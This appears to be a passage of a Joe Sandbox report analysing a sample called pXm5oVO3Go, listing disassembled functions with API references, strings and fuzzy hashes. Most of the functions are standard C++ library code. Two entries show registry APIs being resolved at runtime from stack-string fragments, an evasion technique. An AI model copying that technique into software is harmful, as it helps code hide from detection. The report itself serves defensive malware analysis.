Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: Ls$bad cast
API String ID: 1676052248-3176122743
Opcode ID: c9b3c347da9064dbf25a681a4b6107bdfb1519369fd3a76915e202b1ff75c44d
Instruction ID: 17ced3e44a39ed584e9c3629aaf477a4db3253c931fc3b638ff4d1c2738002ff
Opcode Fuzzy Hash: c9b3c347da9064dbf25a681a4b6107bdfb1519369fd3a76915e202b1ff75c44d
Instruction Fuzzy Hash: C501C0319002199BDB05EBB0D842AFEB737AF40720F14092DF9107B2D1CF79AE058B98

Function 00661DB7 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00661DBE
std::_Lockit::_Lockit.LIBCPMT ref: 00661DC8
int.LIBCPMT ref: 00661DDF

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

moneypunct.LIBCPMT ref: 00661E02
std::bad_exception::bad_exception.LIBCMT ref: 00661E16
__CxxThrowException@8.LIBCMT ref: 00661E24
std::locale::facet::_Facet_Register.LIBCPMT ref: 00661E3A

Strings

(s, xrefs: 00661DD7
bad cast, xrefs: 00661E0E

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmoneypunctstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: (s$bad cast
API String ID: 2090539961-675203397
Opcode ID: 4ce269fcd79ae2fc4ee66c9133573e6bea539d8048f828f84ebed05782fd9282
Instruction ID: 6f0b6934e5ed281edfa4cf609e25540507ec667aa5cb600c644da0019951ea24
Opcode Fuzzy Hash: 4ce269fcd79ae2fc4ee66c9133573e6bea539d8048f828f84ebed05782fd9282
Instruction Fuzzy Hash: 7101AD319002199BCB05EBB0D842AFE7727BF81721F28052DF9107F2D1DF78AA059799

Function 00660F05 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660F0C
std::_Lockit::_Lockit.LIBCPMT ref: 00660F16
int.LIBCPMT ref: 00660F2D

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 00660F50
std::bad_exception::bad_exception.LIBCMT ref: 00660F64
__CxxThrowException@8.LIBCMT ref: 00660F72
std::locale::facet::_Facet_Register.LIBCPMT ref: 00660F88

Strings

Ds, xrefs: 00660F25
bad cast, xrefs: 00660F5C

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: Ds$bad cast
API String ID: 1676052248-2383861569
Opcode ID: 65b0fba08a841e94c489b1cfa6f24ea9cd175dca165af7a6776295212673ef5b
Instruction ID: b932a4bdbba5e2849cce7b04d7fd933dd7153ef9357b4ca52374f743421ad7ab
Opcode Fuzzy Hash: 65b0fba08a841e94c489b1cfa6f24ea9cd175dca165af7a6776295212673ef5b
Instruction Fuzzy Hash: 3301C031900219ABDB05EBB0D942AFE7737AF40721F14052DF9117B2D1DF78AA858799

Function 006697DD Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006697E4
std::_Lockit::_Lockit.LIBCPMT ref: 006697EE
int.LIBCPMT ref: 00669805

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

collate.LIBCPMT ref: 00669828
std::bad_exception::bad_exception.LIBCMT ref: 0066983C
__CxxThrowException@8.LIBCMT ref: 0066984A
std::locale::facet::_Facet_Register.LIBCPMT ref: 00669860

Strings

4s, xrefs: 006697FD
bad cast, xrefs: 00669834

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcollatestd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: 4s$bad cast
API String ID: 2346505839-1685677060
Opcode ID: 3c3678b4abce1eba8989befd7aa947ca3ac5d11e41ebefd34c2d17f5ae732061
Instruction ID: b33bef0a32c6fd70ad8b26ba0ab6a364ec30e67ea7d28104bc76a1762adaa616
Opcode Fuzzy Hash: 3c3678b4abce1eba8989befd7aa947ca3ac5d11e41ebefd34c2d17f5ae732061
Instruction Fuzzy Hash: 7101C0319002199BCB05EBB1D852AFD773BAF41720F24091DF9107B2D1CF78AA058BA9

Function 00660FA2 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660FA9
std::_Lockit::_Lockit.LIBCPMT ref: 00660FB3
int.LIBCPMT ref: 00660FCA

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 00660FED
std::bad_exception::bad_exception.LIBCMT ref: 00661001
__CxxThrowException@8.LIBCMT ref: 0066100F
std::locale::facet::_Facet_Register.LIBCPMT ref: 00661025

Strings

<s, xrefs: 00660FC2
bad cast, xrefs: 00660FF9

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: <s$bad cast
API String ID: 1676052248-1461746226
Opcode ID: abc34c42f05339c3f227ebf6f20f1280bb8bf193bd601c91fa1db07e1ce57564
Instruction ID: 69d397a1a3d07ca486b5951f361a88448deaf4e48f805ed3280a4ab38a2feead
Opcode Fuzzy Hash: abc34c42f05339c3f227ebf6f20f1280bb8bf193bd601c91fa1db07e1ce57564
Instruction Fuzzy Hash: 2801AD329002099BDF45EBA0C852AFE7737AF40720F24051DF9107B2D1DF78AA8587A8

Function 00661F8E Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00661F95
std::_Lockit::_Lockit.LIBCPMT ref: 00661F9F
int.LIBCPMT ref: 00661FB6

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

moneypunct.LIBCPMT ref: 00661FD9
std::bad_exception::bad_exception.LIBCMT ref: 00661FED
__CxxThrowException@8.LIBCMT ref: 00661FFB
std::locale::facet::_Facet_Register.LIBCPMT ref: 00662011

Strings

@s, xrefs: 00661FAE
bad cast, xrefs: 00661FE5

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmoneypunctstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: @s$bad cast
API String ID: 2090539961-2545571930
Opcode ID: 647d6d88b47cbe7f633e968144cf04d1b336e310802a83c86678a4079ded0725
Instruction ID: b2571e3727f6e051780bf42adb46a433ff3783e34a134af3d70ae272ba740d83
Opcode Fuzzy Hash: 647d6d88b47cbe7f633e968144cf04d1b336e310802a83c86678a4079ded0725
Instruction Fuzzy Hash: 57016D3190021A9BCB05EBB0D857AFE7727AF40721F24051DF9107B2D1DF78AA459799

Function 004264F0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 198COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00426521

Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD69
Part of subcall function 0065BD54: __CxxThrowException@8.LIBCMT ref: 0065BD7E
Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD8F

_memmove.LIBCMT ref: 004265A1
_memmove.LIBCMT ref: 004265C1
_memmove.LIBCMT ref: 00426625
_memmove.LIBCMT ref: 00426694
_memmove.LIBCMT ref: 004266B3

Strings

vector<T> too long, xrefs: 0042651C
u6A", xrefs: 0042666D, 004266BB, 0042660A, 00426642, 00426580, 00426624

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: u6A"$vector<T> too long
API String ID: 4034224661-1315088524
Opcode ID: fd12ecff2559e19210882c1212e8c891f829e42ea673c1630522b0646557dea9
Instruction ID: e5f475aa06b6f66695a792dac7957df42c754e219a437cd28c0919f3fa743700
Opcode Fuzzy Hash: fd12ecff2559e19210882c1212e8c891f829e42ea673c1630522b0646557dea9
Instruction Fuzzy Hash: 5A61D872B001159FCB08CF68D8859AE77A5EF94310F59C66EEC06DB348E634EE04CB94

Function 0041D290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0041D2BD
std::_Lockit::_Lockit.LIBCPMT ref: 0041D2E0
std::bad_exception::bad_exception.LIBCMT ref: 0041D364
__CxxThrowException@8.LIBCMT ref: 0041D372
std::_Lockit::_Lockit.LIBCPMT ref: 0041D385
std::locale::facet::_Facet_Register.LIBCPMT ref: 0041D39F

Strings

F%@, xrefs: 0041D2DD, 0041D2FE
bad cast, xrefs: 0041D35C

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: F%@$bad cast
API String ID: 2427920155-3434137552
Opcode ID: aea368b7cbbc8cd1210328c9585d07067fb43aaa5f9bfa8f5e18812f550e7f26
Instruction ID: 62cc12de31fcd688fc302111fd7803b93f00061f61340484f7a59fcb2b0fb051
Opcode Fuzzy Hash: aea368b7cbbc8cd1210328c9585d07067fb43aaa5f9bfa8f5e18812f550e7f26
Instruction Fuzzy Hash: 3231B1B1D002089BDB14DF54D982BEE77B4FB44321F14865EED22A72D1DB38AD44CB9A

Function 00405DF0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00405E1D
std::_Lockit::_Lockit.LIBCPMT ref: 00405E40
std::bad_exception::bad_exception.LIBCMT ref: 00405EC4
__CxxThrowException@8.LIBCMT ref: 00405ED2
std::_Lockit::_Lockit.LIBCPMT ref: 00405EE5
std::locale::facet::_Facet_Register.LIBCPMT ref: 00405EFF

Strings

F%@, xrefs: 00405E3D, 00405E5E
bad cast, xrefs: 00405EBC

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: F%@$bad cast
API String ID: 2427920155-3434137552
Opcode ID: 65536f8fc2f2bb19963cdfc39213ecb4cff8ade62ad2126ec5798af45b06981d
Instruction ID: 9ae9f6b10cc2249ea72c0d0f87f2ee015f6502937317e6e6103ba5e4811ceb80
Opcode Fuzzy Hash: 65536f8fc2f2bb19963cdfc39213ecb4cff8ade62ad2126ec5798af45b06981d
Instruction Fuzzy Hash: DE31BF319006049FDB14EF54D882BAFB7A4FB04321F14866EE956A72D1DB38AE04CFD9

Function 0041DE30 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0041DE5D
std::_Lockit::_Lockit.LIBCPMT ref: 0041DE80
std::bad_exception::bad_exception.LIBCMT ref: 0041DF04
__CxxThrowException@8.LIBCMT ref: 0041DF12
std::_Lockit::_Lockit.LIBCPMT ref: 0041DF25
std::locale::facet::_Facet_Register.LIBCPMT ref: 0041DF3F

Strings

F%@, xrefs: 0041DE7D, 0041DE9E
bad cast, xrefs: 0041DEFC

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: F%@$bad cast
API String ID: 2427920155-3434137552
Opcode ID: 6d953ad7ef0ebc40da00cc9186620699c379573fb2ae198b389556fa4f0b942f
Instruction ID: 4d04c4e78dbc3ef4fec41ac34a4624523ae78f37153f495f19a8c8bf6698b95a
Opcode Fuzzy Hash: 6d953ad7ef0ebc40da00cc9186620699c379573fb2ae198b389556fa4f0b942f
Instruction Fuzzy Hash: 0731E2B1D006049FDB14DF54D882BEE7774FB14362F14865EE912AB2D1DB38AE44CB89

Function 03642F1A Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?), ref: 03642F72
GetProcAddress.KERNEL32(00000000), ref: 03642F79

Strings

lueA, xrefs: 03642F68
ADVA, xrefs: 03642F42
etVa, xrefs: 03642F61
PI32, xrefs: 03642F49
.dll, xrefs: 03642F50
RegG, xrefs: 03642F5A

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$ADVA$PI32$RegG$etVa$lueA
API String ID: 2574300362-1882813265
Opcode ID: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction ID: b519ef73def871572e981cec88505ac3fccdf1f160eb87956056d2c8d4eb3fd6
Opcode Fuzzy Hash: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction Fuzzy Hash: DC2157B1D0125CAFDB10CFA8C988AEEBBBCFB08744F64446AF501B7240C6709A04CB64

Function 10002F16 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?), ref: 10002F6E
GetProcAddress.KERNEL32(00000000), ref: 10002F75

Strings

PI32, xrefs: 10002F45
ADVA, xrefs: 10002F3E
lueA, xrefs: 10002F64
.dll, xrefs: 10002F4C
RegG, xrefs: 10002F56
etVa, xrefs: 10002F5D

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$ADVA$PI32$RegG$etVa$lueA
API String ID: 2574300362-1882813265
Opcode ID: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction ID: e549d43aef67382777316db0078eb220cca058ffe1a515555f97d50673392cdb
Opcode Fuzzy Hash: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction Fuzzy Hash: 3A211D7190125EAFEB00DFA4D985AEEBBBCEF09284F204069E501B7241D7709E45CB74

Function 00402FA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 00402FC6

Part of subcall function 00641C89: RaiseException.KERNEL32(00401FC3,?,ED2F953D,006FC518,00401FC3,?,0071C220,?,ED2F953D), ref: 00641CCB

std::exception::exception.LIBCMT ref: 00402FED
__CxxThrowException@8.LIBCMT ref: 0040300C
std::exception::exception.LIBCMT ref: 0040302E
__CxxThrowException@8.LIBCMT ref: 0040304D
std::exception::exception.LIBCMT ref: 0040306A
__CxxThrowException@8.LIBCMT ref: 00403089

Strings

ios_base::badbit set, xrefs: 00402FE5

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Exception@8Throw$std::exception::exception$ExceptionRaise
String ID: ios_base::badbit set
API String ID: 4237746311-3882152299
Opcode ID: d055ba080e46d3afb165dd0b32a8c3fd06f509e51361a16332e909f32d278550
Instruction ID: bcf4659f536c84b5fb445d044c3d8a3bab5cc66639cc09fcead38813998a4a59
Opcode Fuzzy Hash: d055ba080e46d3afb165dd0b32a8c3fd06f509e51361a16332e909f32d278550
Instruction Fuzzy Hash: CD2192B10183055FC744EF98C9427ABBBEABFC8714F044A1EF59456281DB749648CB6B

Function 0066987A Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00669881
std::_Lockit::_Lockit.LIBCPMT ref: 0066988B
int.LIBCPMT ref: 006698A2

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

collate.LIBCPMT ref: 006698C5
std::bad_exception::bad_exception.LIBCMT ref: 006698D9
__CxxThrowException@8.LIBCMT ref: 006698E7
std::locale::facet::_Facet_Register.LIBCPMT ref: 006698FD

Strings

bad cast, xrefs: 006698D1

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcollatestd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2346505839-3145022300
Opcode ID: c7dcdce554f025be4bbdeb8c96ad32506d85fe65842861ed2f3df3756edf2ac8
Instruction ID: 76b82a961214e7fcd13cba6bad4578a43e34f2834f173bca1e77d5c1bd03d7df
Opcode Fuzzy Hash: c7dcdce554f025be4bbdeb8c96ad32506d85fe65842861ed2f3df3756edf2ac8
Instruction Fuzzy Hash: 3B018B319002099BCB45EBB0D846AFE762AAF40721F280A1DE9107B2D1CF78AA059799

Function 006610DC Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006610E3
std::_Lockit::_Lockit.LIBCPMT ref: 006610ED
int.LIBCPMT ref: 00661104

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

messages.LIBCPMT ref: 00661127
std::bad_exception::bad_exception.LIBCMT ref: 0066113B
__CxxThrowException@8.LIBCMT ref: 00661149
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066115F

Strings

bad cast, xrefs: 00661133

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

